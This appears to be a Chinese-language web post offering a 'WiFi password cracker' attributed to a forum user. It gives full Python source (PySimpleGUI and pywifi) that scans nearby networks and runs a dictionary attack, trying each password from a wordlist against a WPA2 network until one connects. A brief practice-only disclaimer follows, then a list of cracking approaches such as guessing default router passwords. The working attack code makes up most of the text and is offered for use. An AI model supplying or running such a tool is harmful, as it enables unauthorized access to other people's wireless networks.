WiFi密码破解软件是一款功能强大的工具,可以帮助用户破解WiFi密码。这款软件由论坛网友开发并分享,目前还处于测试版本,可能存在一些问题,但后续会进行更新和优化。如果您有需要,可以下载并体验这款软件。
以下是软件的代码:
import PySimpleGUI as sg
import pywifi
from pywifi import const
import time, os.path
sg.set_options(font=("微软雅黑", 10))
layout = [
[sg.Text("2.选择破解的WIFI名称:")],
[sg.Combo(values=[], key="-WIFI NAME-", size=(40, None)), sg.Button("1.查找WIFI", key="-SCAN WIFI-")],
[sg.Text("3.选择密码字典文件:")],
[sg.InputText(key="-KEY LIST-"), sg.FileBrowse("选择文件", target="-KEY LIST-", key="-FILE CHOOSE-")],
[sg.Button("4.执行检查", key="-CHECK-"), sg.Button('5.开始破解', key="-START-", auto_size_button=False, disabled=True)],
[sg.Output(key="-OUTPUT-", size=(54, 20))]
]
window = sg.Window('Window Title', layout)
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()
iface = None
if len(ifaces) > 0:
iface = ifaces[0]
def scan_wifi():
print("开始扫描WIFI,请稍候……")
iface.scan()
time.sleep(2)
results = []
for res in iface.scan_results():
if len(res.ssid) > 0 and res.ssid not in results:
results.append(res.ssid)
window["-WIFI NAME-"].update(values=results)
print("扫描完毕")
def check():
if iface is None:
print("你的计算机没有网卡,请退出!")
window["-START-"].update(disabled=True)
return
else:
print("计算机网卡已选定:" + iface.name())
wifiname = values["-WIFI NAME-"]
if (wifiname is None) or (len(wifiname) == 0):
print("WIFI名称不能为空")
return
else:
print("WIFI名称:" + wifiname)
keylist = values["-KEY LIST-"]
if (keylist is None) or (len(keylist) == 0):
print("密码字典路径不能为空")
else:
if os.path.exists(keylist) and os.path.isfile(keylist):
print("密码字典路径:" + keylist)
window["-START-"].update(disabled=False)
else:
print("密码字典路径不正确")
def wifi_connect(interface, wifiname, password):
if interface.status() != const.IFACE_DISCONNECTED:
interface.disconnect()
time.sleep(0.5)
profile = pywifi.Profile()
profile.ssid = wifiname
profile.key = password
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
interface.remove_all_network_profiles()
interface.add_network_profile(profile)
interface.connect(profile)
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
return False
def crack(wifiname, keylist):
with open(keylist, "r", encoding="utf-8") as f:
for key in f.readlines():
key = key.strip()
print("正在尝试密码:" + key)
isok = wifi_connect(iface, wifiname, key)
if isok:
print("连接成功!WiFi:" + wifiname + " 密码:" + key)
return key
else:
print("连接失败,密码错误")
while True:
event, values = window.read()
if event == sg.WINDOW_CLOSED:
break
elif event == "-SCAN WIFI-":
scan_wifi()
elif event == "-CHECK-":
check()
elif event == "-START-":
print("开始破解")
crack(values["-WIFI NAME-"], values["-KEY LIST-"])
window.close()
这是一个用于破解WiFi密码的小工具,仅供练习使用,请勿用于非法用途。密码字典是从网上随便下载的,破解的WiFi也是作者自己的WiFi。再次强调,这只是一个练习作品!
WiFi密码如何破解?以下是几种方法:
- 默认密码猜测:常见路由器的默认密码一般不会被修改,可以尝试使用默认密码进行破解。
- 使用”WiFi万能钥匙”:这款应用程序可以集中已知的免费公共WiFi热点资源,如果你所在的地方搜索到该应用程序的WiFi数据库中的WiFi,它会自动连接。但请注意,它无法破解加密的WiFi密码。
- 在手机上破解WiFi:可以使用一些专门的手机应用程序来破解WiFi密码,但这需要一定的技术知识和技巧。
- 在电脑上破解WiFi:相对于手机,电脑上的破解方法更简单。你可以使用类似的方法,也可以尝试一些高级的黑客技术。
总结一下,破解WiFi密码是一项技术活,需要谨慎使用,并且遵守法律法规。